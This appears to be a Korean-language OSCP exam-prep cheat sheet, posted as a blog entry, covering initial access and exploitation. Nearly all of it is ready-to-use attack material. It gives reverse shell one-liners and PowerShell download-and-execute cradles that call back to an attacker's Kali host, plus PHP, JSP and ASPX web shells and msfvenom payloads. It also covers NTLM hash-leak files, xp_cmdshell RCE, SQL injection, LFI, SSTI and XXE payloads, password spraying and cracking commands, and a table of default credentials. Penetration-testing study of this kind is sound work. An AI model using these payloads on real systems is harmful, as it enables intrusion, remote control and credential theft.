[OSCP] Exploitation 2026ver
[OSCP] Exploitation 2026ver
© 2026 zzer0. All rights reserved. No part of this publication may be reproduced, modified, or distributed for commercial purposes without permission from the author.
Initial Access & Shell Stabilization
Reverse Shell
1
2
3
nc -lvnp 4444
nc -lvnp 8080
nc -lvnp 80
Shell Upgrade
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 백그라운드로 이동 (Ctrl+Z)
shell 안정화
1
2
stty raw -echo; fg
export TERM=xterm
Public CVE PoC Exploitation Workflow
- 서비스 + 버전 식별 후 GitHub PoC 클론 → IP 패치 → 실행
- 검색 TIP
1 2
google: "<service> <version> CVE site:github.com" google: "CVE-XXXX-XXXX exploit poc python"
- 클론 + 검토 + 패치 + 실행
1 2 3
git clone https://github.com/<org>/<CVE-ID>-PoC head -50 CVE-XXXX-XXXX.py # 동작 확인 + 변수 위치 (LHOST/LPORT/target) python3 CVE-XXXX-XXXX.py -t http://<Target-IP> -c '<cmd>'
- searchsploit (로컬 DB)
1 2 3 4
searchsploit <service> <version> searchsploit -m <number> # exploit 코드를 현재 디렉토리로 복사 searchsploit -x <number> # exploit 내용 미리보기 (번호) searchsploit -x <file> # exploit 파일 경로로 미리보기
Windows Initial Access
Service & Credentials (계정 탈취)
Password Spraying & Bruteforce (SMB, WinRM, RDP)
- 유저/패스워드 리스트를 활용한 유효 계정 검증
1 2 3
nxc smb <Target-IP> -u users.txt -p passwords.txt --continue-on-success nxc winrm <Target-IP> -u users.txt -p passwords.txt --continue-on-success nxc ldap <Target-IP> -u users.txt -p passwords.txt --continue-on-success
- 사용자명 = 패스워드 시도 (사용자명만 얻었을 경우 시도해볼만한 내용 ex. kali/kali)
1
nxc smb <Target-IP> -u users.txt -p users.txt --no-bruteforce --continue-on-success
- RDP 브루트포스
1
hydra -L users.txt -P passwords.txt rdp://<Target-IP>
Direct Remote Access (WinRM, SMB/PsExec)
- 유효한 계정 정보(평문 패스워드 또는 해시)로 시스템 접속
1 2
evil-winrm -i <Target-IP> -u <Username> -p '<Password>' evil-winrm -i <Target-IP> -u <Username> -H '<NTLM-Hash>'
- 관리자 권한 식별 -> PsExec을 통한 SYSTEM shell
1
impacket-psexec <DOMAIN>/<Username>:'<Password>'@<Target-IP>
Active Directory Initial (AD 환경에서 해시 탈취)
AS-REP Roasting (No Pre-Auth)
- 사전 인증이 필요 없는 취약한 도메인 계정의 TGT 해시 추출
1
impacket-GetNPUsers <DOMAIN.LOCAL>/ -request -usersfile user.txt -dc-ip <Target-IP> -outputfile hash.txt
- 해시 크랙
1
hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
NTLM Hash Leak via .url File (Writable SMB Share)
- 쓰기 가능한 SMB 공유 + 사용자가 폴더를 열면 NTLM 해시가 자동 누출되는 페이로드
- 페이로드 생성
1 2 3 4 5 6
cat > test.url <<'EOF' [InternetShortcut] URL=http://<Kali-IP>/x IconIndex=1 IconFile=\\<Kali-IP>\share\test.ico EOF
- 쓰기 가능한 공유에 업로드
1 2
smbclient -N //<Target-IP>/<Share> -c 'put test.url' smbclient //<Target-IP>/<Share> -U '<DOMAIN>\<User>%<Password>' -c 'put test.url'
- Responder로 NetNTLMv2 캡처
1
sudo responder -I tun0 -wv
- 캡처된 해시 크랙
1
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- 변형 트리거 파일:
.lnk,.searchConnector-ms,.library-ms,desktop.ini,autorun.inf
BloodHound
- 도메인 데이터 수집 (LoggedOn 데이터가 PtH 경로 결정에 중요)
1 2
bloodhound-python -d '<Domain>' -u '<User>' -p '<Password>' -c All -ns <Target-IP> --zip bloodhound-python -d '<Domain>' -u '<User>' -p '<Password>' -c All,LoggedOn -ns <Target-IP> --zip
1
2
sudo neo4j start
bloodhound &
- 8080 bloodhound 페이지 접속 계정 -> admin/admin
Linux Initial Access
Service & Credentials (계정 탈취)
SSH Password Spraying & Bruteforce
- 유저/패스워드 리스트를 이용한 SSH 접근 시도
1
nxc ssh <Target-IP> -u users.txt -p passwords.txt --continue-on-success
SSH Key Authentication (id_rsa)
- 개인키 권한 600으로 변경
1
chmod 600 id_rsa - 개인키로 SSH 접속
1
ssh -i id_rsa <Username>@<Target-IP>
Web Exploitation
Web Fuzzing & Bruteforce (ffuf)
- 파라미터 이름 퍼징 (GET 방식)
1
ffuf -u http://<Target-IP>/admin.php?FUZZ=test -w /usr/share/wordlists/discovery/web-parameters.txt -fs 0
- 파라미터 이름 퍼징 (POST 방식)
1
ffuf -u http://<Target-IP>/config.php -X POST -d "FUZZ=test" -w /usr/share/wordlists/discovery/web-parameters.txt -fs 0
- 로그인 브루트포스 (POST 방식)
1 2 3 4 5
ffuf -u http://<Target-IP>/login.php -X POST \ -d "user=admin&pass=FUZZ&submit=Login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -w /usr/share/wordlists/rockyou.txt \ -fr "Password incorrect." -s
Web-Based (웹 포트를 통해 초기 침투)
SQL Injection (MSSQL, MySQL, PostgreSQL)
- Manual SQLi Payload
1 2 3 4
' OR 1=1 -- - admin' OR '1'='1'-- - ' UNION SELECT 1, user, @@version-- - ' UNION SELECT null, null, database()-- -
- sqlmap은 자동화 도구로 사용하지 못함
LFI / Path Traversal
- 기본 페이로드
1 2 3
../../../../etc/passwd ..%2f..%2f..%2fetc%2fpasswd ....//....//etc/passwd
- PHP 래퍼 (소스 코드 읽기 / RCE)
1 2 3
php://filter/convert.base64-encode/resource=index data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== zip://uploads/shell.zip%23payload&cmd=id
- 확인할 만한 경로
1 2 3
/proc/self/environ, /proc/self/cmdline, /proc/<pid>/cmdline /var/log/apache2/access.log # User-Agent에 PHP 주입 후 LFI ~/.ssh/id_rsa, ~/.bash_history, /root/.bash_history
File Upload 우회
- 확장자 우회:
.phtml .phar .php3 .php5 .php7 .pht .inc - ASP:
shell.asp;.jpg,shell.aspx::$DATA - Magic byte: 파일 맨 앞에
GIF89a;또는 PNG 헤더 + PHP - Content-Type 변조: Burp에서
application/x-php→image/png .htaccess업로드 (AddType application/x-httpd-php .png)
SSRF
- 기본 체크
1 2
?url=http://127.0.0.1 ?url=http://localhost:<port>
- 내부 포트 fuzzing
1
ffuf -u http://<Target>/<endpoint>?url=http://127.0.0.1:FUZZ -w <(seq 1 65535) -mc 200 -ac
- AWS 메타데이터:
http://169.254.169.254/latest/meta-data/ - 다른 스킴:
file://,gopher://,dict://
SSTI (Server-Side Template Injection)
- 식별 페이로드:
{{7*7}},${7*7},<%= 7*7 %>,#{7*7} - Jinja2 RCE
1
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - Twig
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Freemarker
1
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
XXE (XML External Entity)
- DTD 외부 엔티티 (in-band) ```xml <!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
1
2
3
4
- OOB
```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<Kali>/exfil.dtd">%xxe;]>
Command Injection
- 구분자:
; | || && \cmd` $(cmd) %0a %0d` - 공백 우회:
${IFS},<(redirect) - 인코딩 우회: base64 →
bash -c {echo,<BASE64>}|{base64,-d}|{bash,-i}
MSSQL RCE (xp_cmdshell)
- xp_cmdshell 활성화
1 2
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- PowerShell 리버스 쉘 페이로드 실행
1
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<Kali-IP>/shell.ps1'')"';
- xp_cmdshell 비활성 시 fallback —
xp_dirtree로 NTLM 해시 캡처1
EXEC xp_dirtree '\\<Kali-IP>\share\x', 1, 1
1 2 3 4
# Kali에서 미리 sudo responder -I tun0 -wv # 또는 impacket-smbserver share . -smb2support # → NetNTLMv2 캡처 → hashcat -m 5600
IIS Web Server File Upload Bypass (WebDAV)
- cadaver (유효한 자격 증명 필요)
1 2
cadaver http://<Target-IP> cadaver http://<Target-IP>/webdav
- MSFVenom ASPX 페이로드 생성
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Kali-IP> LPORT=4444 -f aspx -o shell.aspx
- shell 실행
1
curl http://<Target-IP>/uploads/shell.aspx
Web Shell
RCE 확인용 Web Shell
- PHP
1
<?php system($_GET['cmd']); ?>
- JSP
1
<% out.println(Runtime.getRuntime().exec(request.getParameter("cmd"))); %>
- ASPX
1
<%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe", "/c " + Request.QueryString["cmd"])); %>
Reverse Shell One-Liners
- PHP
1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<Kali-IP>/4444 0>&1'"); ?>
- JSP (Base64 인코딩이 필요할 수 있음)
1
<% Runtime.getRuntime().exec("bash -c {echo,<BASE64_PAYLOAD>}|{base64,-d}|{bash,-i}"); %>
- ASPX
1
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("powershell.exe", "-nop -e <BASE64_PAYLOAD>"); %>
PowerShell Base64 Reverse Shell (Windows 대상)
- Kali에서 페이로드 생성
1 2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Kali-IP> LPORT=4444 -f ps1 -o rev.ps1 # 또는 https://www.revshells.com → "PowerShell #3 (Base64)" 복사
- 타깃 실행 (Win cmd / PHP webshell / xp_cmdshell 등)
powershell -nop -w hidden -e <BASE64> powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<Kali-IP>/rev.ps1')"
Password Cracking for Access
Offline Hash Cracking (Hashcat, John)
John the Ripper
- 기본 크랙
1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
- Linux shadow 파일 크래킹
1 2
unshadow passwd.txt shadow.txt > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
- 크랙 완료된 파일 확인
1
john --show hash.txt
Hashcat
- 기본 크랙
1
hashcat -m <ModeNum> -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- ModeNum 종류
1 2 3 4 5 6 7 8 9 10
-m 1000 : NTLM -m 1800 : sha512crypt -m 3200 : bcrypt -m 5500 : NetNTLMv1 -m 5600 : NetNTLMv2 -m 9600 : Office 2013/2016 -m 13100 : Kerberos 5 TGS-REP (Kerberoasting) -m 17400 : SHA3-256 -m 18200 : Kerberos 5 AS-REP (AS-REP Roasting) -m 22911 : RSA/DSA/EC/OpenSSH 키
Online Credential Analysis (CrackStation)
CrackStation
- CrackStation (https://crackstation.net/)
1
https://crackstation.net/
Encrypted File Analysis (KeePass, Backup Files)
파일에서 해시 추출
- 암호화된 ZIP 파일에서 해시 추출
1
zip2john backup.zip > zip.hash - 암호가 걸린 SSH 개인키(id_rsa)에서 해시 추출
1
ssh2john id_rsa > ssh.hash - KeePass 데이터베이스에서 해시 추출
1
keepass2john passcodes.kdbx > keepass.hash - 추가 2john 도구
1 2 3 4 5
pdf2john secret.pdf > pdf.hash office2john document.docx > office.hash pfx2john cert.pfx > pfx.hash 7z2john archive.7z > 7z.hash rar2john secret.rar > rar.hash
- 해시 크랙
1
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
[부록] 수동 SQL Injection
컬럼 개수 파악 (Order By)
- 에러가 나기 전까지 숫자를 하나씩 올림
1 2 3
' ORDER BY 1-- - ' ORDER BY 2-- - ' ORDER BY 3-- -
출력 컬럼 및 데이터베이스 확인 (Union)
MySQL / MariaDB
1
' UNION SELECT 1,2,database(),user(),@@version-- -
MSSQL
1
' UNION SELECT 1,2,DB_NAME(),SUSER_SNAME(),@@version-- -
PostgreSQL
1
' UNION SELECT NULL,NULL,current_database(),current_user,version()-- -
테이블 및 컬럼명 추출
- MySQL 테이블 추출
1
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- - - MySQL 컬럼 추출 (테이블명이 ‘users’일 경우)
1
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -
- users 테이블 전체 데이터 조회
1
' UNION SELECT * FROM users-- -
MSSQL RCE (xp_cmdshell)
1
2
3
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--
[부록] Service Default Credentials
| 서비스 | 기본 자격 |
|---|---|
| Tomcat Manager | tomcat:tomcat / admin:admin / admin:s3cret / tomcat:s3cret |
| Jenkins | admin:admin |
| Apache ActiveMQ | admin:admin |
| GitLab (구버전) | root:5iveL!fe |
| phpMyAdmin | root:(빈) / root:root |
| MSSQL | sa:(빈) / sa:sa |
| MySQL | root:(빈) / root:root |
| PostgreSQL | postgres:postgres / postgres:(빈) |
| MongoDB | (빈 인증) |
| Redis | (빈 인증) |
| ManageEngine | admin:admin |
| Splunk | admin:changeme |
| Webmin | root:webmin / admin:admin |
| Cisco | admin:admin / cisco:cisco |
| Apache Druid | (빈 인증) |
| BarracudaDrive | admin:admin / admin:admin123 |
| Request Tracker | root:password |
| Dolibarr | admin:admin |
| SuiteCRM | admin:admin |
| Backdrop CMS | admin:admin |
| FTP (anonymous) | anonymous:(빈) |
상세 링크 모음: 같은 시리즈의
[OSCP] References 2026ver포스트 참고.
This post is licensed under
CC BY 4.0
by the author.